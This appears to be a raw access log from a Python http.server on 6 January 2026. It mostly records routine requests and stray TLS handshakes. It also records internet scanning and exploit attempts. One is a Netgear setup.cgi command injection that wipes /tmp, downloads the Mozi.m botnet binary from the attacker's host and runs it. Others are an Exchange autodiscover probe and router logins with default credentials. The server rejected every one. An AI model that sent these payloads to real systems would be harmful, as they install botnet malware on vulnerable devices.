+185.16.39.146 - - [06/Jan/2026 09:56:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:00:03] "GET / HTTP/1.1" 200 - +89.42.231.244 - - [06/Jan/2026 10:04:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:05:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:09:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:11:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:17:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:20:24] "GET / HTTP/1.1" 200 - +127.0.0.1 - - [06/Jan/2026 10:20:49] code 404, message File not found +127.0.0.1 - - [06/Jan/2026 10:20:49] "GET /api/http/routers HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 10:23:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:28:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:32:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:35:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:40:28] "GET / HTTP/1.1" 200 - +64.62.156.122 - - [06/Jan/2026 10:41:56] code 400, message Bad request version ('À\\x14À') +64.62.156.122 - - [06/Jan/2026 10:41:56] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x8eóZÛª\x01g¥§Y¹?î\x8eØ=ÞEd\x86P%\x85ÆfK\x11\x85Hº|(\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [06/Jan/2026 10:44:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:48:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:51:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:55:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 10:59:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:03:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:06:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:11:41] "GET / HTTP/1.1" 200 - +182.138.158.13 - - [06/Jan/2026 11:13:45] "GET / HTTP/1.1" 200 - +182.119.230.157 - - [06/Jan/2026 11:13:58] "GET / HTTP/1.1" 200 - +123.245.84.26 - - [06/Jan/2026 11:14:00] code 404, message File not found +123.245.84.26 - - [06/Jan/2026 11:14:00] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 11:15:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:20:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:23:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:27:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:30:56] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('167.94.146.61', 61716) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +167.94.146.61 - - [06/Jan/2026 11:32:39] "GET / HTTP/1.1" 200 - +167.94.146.61 - - [06/Jan/2026 11:32:42] code 400, message Bad request version ('À\\x14À') +167.94.146.61 - - [06/Jan/2026 11:32:42] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03òù\x0c\x9dʶç'¹á\x14]W×\x8b3k¹iAkÎâBö1¢[>:ù( ñCCë\x1a\x1a\x8f\x03\x18ÕcQ'kIÄöx,¾\x1b«\x1dþ\x9e\x85å\x99\x96¯un\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +167.94.146.61 - - [06/Jan/2026 11:32:42] "GET / HTTP/1.1" 200 - +167.94.146.61 - - [06/Jan/2026 11:32:43] code 505, message Invalid HTTP version (2.0) +167.94.146.61 - - [06/Jan/2026 11:32:43] "PRI * HTTP/2.0" 505 - +167.94.146.61 - - [06/Jan/2026 11:32:43] code 404, message File not found +167.94.146.61 - - [06/Jan/2026 11:32:43] "GET /favicon.ico HTTP/1.1" 404 - +167.94.146.61 - - [06/Jan/2026 11:32:47] code 400, message Bad request version ('À\\x14À') +167.94.146.61 - - [06/Jan/2026 11:32:47] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03À\x9fYE\x02ã\x1b\x7fB\x8aE¯ò\x9e7\x9dÂ\x9e»%ýO\x98\x94ÙMJB|ò©p X¶\x17BÆêÇ\x8cW)\x90\x80úh\x9cæm\x1dú\x88ß§åhÉàPV=ÝP\x03\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +167.94.146.61 - - [06/Jan/2026 11:32:47] code 404, message File not found +167.94.146.61 - - [06/Jan/2026 11:32:47] "GET /wiki HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 11:35:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:39:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:43:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:47:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:51:05] "GET / HTTP/1.1" 200 - +87.121.84.154 - - [06/Jan/2026 11:52:40] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 11:52:40] "POST /api HTTP/1.1" 501 - +87.121.84.154 - - [06/Jan/2026 11:52:44] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 11:52:44] "POST /_next/server HTTP/1.1" 501 - +185.16.39.146 - - [06/Jan/2026 11:54:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 11:58:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:03:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:06:06] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [06/Jan/2026 12:08:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:10:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:14:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:18:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:22:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:26:49] "GET / HTTP/1.1" 200 - +89.42.231.244 - - [06/Jan/2026 12:28:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:30:20] "GET / HTTP/1.1" 200 - +60.191.125.35 - - [06/Jan/2026 12:33:28] code 404, message File not found +60.191.125.35 - - [06/Jan/2026 12:33:28] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 12:34:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:38:19] "GET / HTTP/1.1" 200 - +104.131.176.143 - - [06/Jan/2026 12:40:43] "GET / HTTP/1.1" 200 - +104.131.176.143 - - [06/Jan/2026 12:40:44] code 404, message File not found +104.131.176.143 - - [06/Jan/2026 12:40:44] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 12:41:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:46:00] "GET / HTTP/1.1" 200 - +117.206.234.57 - - [06/Jan/2026 12:48:22] code 404, message File not found +117.206.234.57 - - [06/Jan/2026 12:48:22] "GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0" 404 - +185.16.39.146 - - [06/Jan/2026 12:50:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:54:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 12:58:00] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [06/Jan/2026 12:58:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:02:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:05:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:10:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:13:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:17:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:21:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:25:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:29:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:34:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:37:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:41:25] "GET / HTTP/1.1" 200 - +184.105.247.195 - - [06/Jan/2026 13:44:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:45:05] "GET / HTTP/1.1" 200 - +184.105.247.239 - - [06/Jan/2026 13:45:15] code 404, message File not found +184.105.247.239 - - [06/Jan/2026 13:45:15] "GET /favicon.ico HTTP/1.1" 404 - +184.105.247.243 - - [06/Jan/2026 13:45:33] code 404, message File not found +184.105.247.243 - - [06/Jan/2026 13:45:33] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +184.105.247.215 - - [06/Jan/2026 13:45:41] code 501, message Unsupported method ('CONNECT') +184.105.247.215 - - [06/Jan/2026 13:45:41] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +184.105.247.195 - - [06/Jan/2026 13:45:48] code 404, message File not found +184.105.247.195 - - [06/Jan/2026 13:45:48] "GET /geoserver/web/ HTTP/1.1" 404 - +154.222.30.155 - - [06/Jan/2026 13:49:21] code 404, message File not found +154.222.30.155 - - [06/Jan/2026 13:49:21] "GET http://www.xcoodir.com/?0.791413423661146767418127224 HTTP/1.1" 404 - +154.222.30.155 - - [06/Jan/2026 13:49:23] code 404, message File not found +154.222.30.155 - - [06/Jan/2026 13:49:23] "GET http://www.ip111.cn/?0.62643670350805896012420072 HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 13:49:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:52:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 13:56:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:01:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:05:25] "GET / HTTP/1.1" 200 - +205.210.31.3 - - [06/Jan/2026 14:06:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:09:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:13:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:16:53] "GET / HTTP/1.1" 200 - +141.98.11.140 - - [06/Jan/2026 14:18:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:21:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:24:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:28:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:32:15] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('50.116.26.161', 43617) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +50.116.26.161 - - [06/Jan/2026 14:33:18] "GET / HTTP/1.1" 200 - +172.236.228.86 - - [06/Jan/2026 14:33:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:36:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:39:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:43:55] "GET / HTTP/1.1" 200 - +45.156.131.24 - - [06/Jan/2026 14:45:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:48:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:52:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 14:56:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:00:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:04:11] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [06/Jan/2026 15:05:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:08:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:11:34] "GET / HTTP/1.1" 200 - +87.121.84.154 - - [06/Jan/2026 15:15:30] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 15:15:30] "POST /api/route HTTP/1.1" 501 - +185.16.39.146 - - [06/Jan/2026 15:16:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:19:40] "GET / HTTP/1.1" 200 - +59.97.250.110 - - [06/Jan/2026 15:21:35] code 404, message File not found +59.97.250.110 - - [06/Jan/2026 15:21:35] "GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0" 404 - +167.172.148.206 - - [06/Jan/2026 15:21:56] code 400, message Bad request syntax ('\\x00\\x0e8Ë\\x03ñ\\x9aÑ294\\x00\\x00\\x00\\x00\\x00') +167.172.148.206 - - [06/Jan/2026 15:21:56] "\x00\x0e8Ë\x03ñ\x9aÑ294\x00\x00\x00\x00\x00" 400 - +185.16.39.146 - - [06/Jan/2026 15:23:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:28:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:31:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:35:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:39:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:43:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:47:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:51:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:55:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 15:58:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:03:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:06:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:11:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:14:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:19:01] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [06/Jan/2026 16:21:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:22:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:26:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:30:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:34:35] "GET / HTTP/1.1" 200 - +103.206.103.165 - - [06/Jan/2026 16:35:15] code 404, message File not found +103.206.103.165 - - [06/Jan/2026 16:35:15] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://103.206.103.165:49206/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 - +185.16.39.146 - - [06/Jan/2026 16:38:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:42:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:46:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:50:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:54:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 16:58:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:02:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:05:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:09:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:13:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:18:19] "GET / HTTP/1.1" 200 - +195.98.182.107 - - [06/Jan/2026 17:20:16] code 404, message File not found +195.98.182.107 - - [06/Jan/2026 17:20:16] "GET /autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1" 404 - +195.98.182.107 - - [06/Jan/2026 17:20:16] code 404, message File not found +195.98.182.107 - - [06/Jan/2026 17:20:16] "GET /autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 17:22:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:25:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:30:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:33:37] "GET / HTTP/1.1" 200 - +135.237.126.135 - - [06/Jan/2026 17:35:21] code 404, message File not found +135.237.126.135 - - [06/Jan/2026 17:35:21] "GET /hudson HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 17:38:17] "GET / HTTP/1.1" 200 - +216.180.246.222 - - [06/Jan/2026 17:39:33] "GET / HTTP/1.0" 200 - +216.180.246.222 - - [06/Jan/2026 17:39:41] code 400, message Bad request version ('À\\x14À') +216.180.246.222 - - [06/Jan/2026 17:39:41] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03¸8|Û¹\x19¹c\x9e\x82Fÿ.ûï \x9b3=Î.ýö@ûdæ\x05\x8d\x93«\x1bº\x9ckM0¶W\x95©" 400 - +216.180.246.222 - - [06/Jan/2026 17:43:43] code 404, message File not found +216.180.246.222 - - [06/Jan/2026 17:43:43] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 17:45:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:48:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:52:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 17:56:43] "GET / HTTP/1.1" 200 - +137.184.237.203 - - [06/Jan/2026 17:57:17] code 400, message Bad request version ('À#À¬À®À+À') +137.184.237.203 - - [06/Jan/2026 17:57:17] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03ÚÅÈ\x85\x81òc\x17=\x1bqtpR\x86\x8f\x9aW;\x19ò\x81qÍA\x1cÌñÃIÐ@ XT9i\x13E±]ÓI2\x11Ï7"ÚB׸ºå*ÒÒâ¨\x98Îì\x9e\x98¼\x00\x8a\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:17] code 400, message Bad request version ('À\\x9c\\x00<\\x00/\\x00') +137.184.237.203 - - [06/Jan/2026 17:57:17] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03ÅþlÆ\x0eK° Ý\x81VaâÞrNØ\x91\x88ç_Ü6\x00X6ïØ\x06Ì\x19× «âº°Ë}\x0f\x11HS\x08]>Ô£`È8\x7fÎBÄAg\x98D3\x90cSWk\x00\x8a\x00\x05\x00\x04\x00\x07\x00À\x00\x84\x00º\x00A\x00\x9dÀ¡À\x9d\x00=\x005\x00\x9cÀ À\x9c\x00<\x00/\x00" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:18] code 400, message Bad request version ('wR\\x81½\\x16ûY\\x00FÀ\\x12À\\x07Ì\\x14\\x13\\x01\\x13\\x02Ì©ÀsÀrÀ,À¯À\\xadÀ$À') +137.184.237.203 - - [06/Jan/2026 17:57:18] "\x16\x03\x03\x01V\x01\x00\x01R\x03\x03Ü\x8e\x97ü,iÆO©T?|5\x8c8\x01u$\x0e®\x19G²®~\x1crÕ\x8eïC; \x8c)·¸T\x07â¾¾ßHìmÊ\x99s\x03\x0c\x95J"ê^E\x0bwR\x81½\x16ûY\x00FÀ\x12À\x07Ì\x14\x13\x01\x13\x02Ì©ÀsÀrÀ,À¯À­À$À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:18] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x03\\x01H\\x01\\x00\\x01D\\x03\\x030\\x92Õí\\x13Ǥó\\x08|òÕÃ\\x07ffa\\x9c\\x8adPx\\xad|Ks\\x8fç\\x8a5x1') +137.184.237.203 - - [06/Jan/2026 17:57:18] "\x16\x03\x03\x01H\x01\x00\x01D\x03\x030\x92Õí\x13Ǥó\x08|òÕÃ\x07ffa\x9c\x8adPx­|Ks\x8fç\x8a5x1 k¥ÇФ" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:19] code 400, message Bad request version ("v\\x9f&#Ø\\\\\\x19Ä\\x99î±-m¼\\x9a$hups\\x02Bæ=\\x86M4lï5²T\\x00\\x8cêêÀ\\x12À\\x13À\\x07À'Ì\\x14À/\\x13\\x01À\\x14\\x13\\x02À(Ì©À0ÀsÀ`ÀrÀaÀ,ÀvÀ¯ÀwÀ\\xad̨À$\\x13\\x05À") +137.184.237.203 - - [06/Jan/2026 17:57:19] "\x16\x03\x03\x01\x99\x01\x00\x01\x95\x03\x03ß2¦\x1cµÕ"}\x0f)ò\x17\x99=Ô ëAeYQV÷ª\x09Ê\x82P\x9e\x83ùd v\x9f&#Ø\\\x19Ä\x99î±-m¼\x9a$hups\x02Bæ=\x86M4lï5²T\x00\x8cêêÀ\x12À\x13À\x07À'Ì\x14À/\x13\x01À\x14\x13\x02À(Ì©À0ÀsÀ`ÀrÀaÀ,ÀvÀ¯ÀwÀ­Ì¨À$\x13\x05À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:19] code 400, message Bad request version ('À#À¬À®À+À') +137.184.237.203 - - [06/Jan/2026 17:57:19] "\x16\x03\x02\x01\x9a\x01\x00\x01\x96\x03\x02\x82àÈ\x16`I\\\x18 \x02¹_Ñç~\x86p\x0c\x05;\x8er\x92ÉíEéÀ\x83\x12\x12K D\x82ÊÑ/JÂb]ã\x09#ñ\x16j\x02ï\\]ÉÊ\x9d¡\x86é\\s\x1f!¼\x8fÄ\x00\x8a\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:19] code 400, message Bad request version ('À#À¬À®À+À') +137.184.237.203 - - [06/Jan/2026 17:57:19] "\x16\x03\x01\x01§\x01\x00\x01£\x03\x03jp[ÛÕô\x9e\x87%¦Aõ ng\x19\x9f\x98VÔ_;¡#È\x80î\x9b\x02!ñý ³ãKÁ.\x92\x85{Þ_r\x15Õw`¼BJÂïFi\x1aÆ¡\x0e I­ :\x00\x8a\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:20] code 400, message Bad request version ('À\\x9c\\x00<\\x00/\\x00') +137.184.237.203 - - [06/Jan/2026 17:57:20] "\x16\x03\x01\x01§\x01\x00\x01£\x03\x03\x13ih²l\x08à\x16f|\x1e,¥6\x84»×²\x89ýÅÎÕû+\\B o\x9a\x9fþ i\x01\x1bxοùÑ®CÝËY:Ò\x06óS°\x9f\x87e;ná+ ¬Ë`\x1b\x0b\x00\x8a\x00\x05\x00\x04\x00\x07\x00À\x00\x84\x00º\x00A\x00\x9dÀ¡À\x9d\x00=\x005\x00\x9cÀ À\x9c\x00<\x00/\x00" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:20] code 400, message Bad request version ('À#À¬À®À+À') +137.184.237.203 - - [06/Jan/2026 17:57:20] "\x16\x03\x01\x01\x9d\x01\x00\x01\x99\x03\x03Æ0¸Èg\x0cÿÿm÷)Æ\x85vIÍ\x8eÁ\x0f\x9c½\x8f\x92\x8cÐD:5ó!:\x8c ÎüÛk\x93oÃ\x8eG\x10I\x8f\x11Ô\x8e'rÉ\x90X\x93úlÑ*4\x18DÃ\x03[\x08\x00\x80\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:21] code 400, message Bad request version ("f¯òÏ̶n*ýÈ\\x00\\x8cÊÊÀ\\x12À\\x13À\\x07À'Ì\\x14À/\\x13\\x01À\\x14\\x13\\x02À(Ì©À0ÀsÀ`ÀrÀaÀ,ÀvÀ¯ÀwÀ\\xad̨À$\\x13\\x05À") +137.184.237.203 - - [06/Jan/2026 17:57:21] "\x16\x03\x01\x01´\x01\x00\x01°\x03\x03Hß$ß\x1bѧ¡\x93Ó\x1d¢av\x0eèà\x04Qh¦·Û\x9c\x91\x8dËrX¸9® \x1bV\x8b\x87X\x8d\x86"BQ )H\x9b4÷\x08@\x91\x17q\x1cf¯òÏ̶n*ýÈ\x00\x8cÊÊÀ\x12À\x13À\x07À'Ì\x14À/\x13\x01À\x14\x13\x02À(Ì©À0ÀsÀ`ÀrÀaÀ,ÀvÀ¯ÀwÀ­Ì¨À$\x13\x05À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:21] code 400, message Bad request version ('À\\x13À') +137.184.237.203 - - [06/Jan/2026 17:57:21] "\x16\x03\x01\x00ú\x01\x00\x00ö\x03\x03g+õ\x05VHe\x09QÑËÙ·çÚªu2\x0fJð7ï\x83ñ^*\x99ÁÇ1\x91 \x8c+\x7f&)84É]\x1aeè\x7fýH~íñIw)\x06nA?\\\x86\x8d\x9e\x84\x85\x9c\x002À+À/À,À0̨̩À\x09À\x13À" 400 - +137.184.237.203 - - [06/Jan/2026 17:57:21] code 400, message Bad request version ('ò\\x9d;\\x00\\x06\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x00{\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00') +137.184.237.203 - - [06/Jan/2026 17:57:21] "\x16\x03\x01\x00Î\x01\x00\x00Ê\x03\x03Â\x8c\x12è«XÖ\x0f¢À\x875Ñïí\x1d\x0fþkÿFae\x03>\x0eó]\x84í;a \x0bà¸Q¡\x1f|³âdÈ~\x8a\x8b\x1d9G\x07wX\x09\x0c\x9c\x91¾|Â\x1e\x09ò\x9d;\x00\x06\x13\x01\x13\x02\x13\x03\x01\x00\x00{\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00" 400 - +185.16.39.146 - - [06/Jan/2026 18:00:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 18:05:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 18:09:26] "GET / HTTP/1.1" 200 - +3.87.34.222 - - [06/Jan/2026 18:12:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 18:13:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 18:17:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 18:21:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 18:25:07] "GET / HTTP/1.1" 200 - 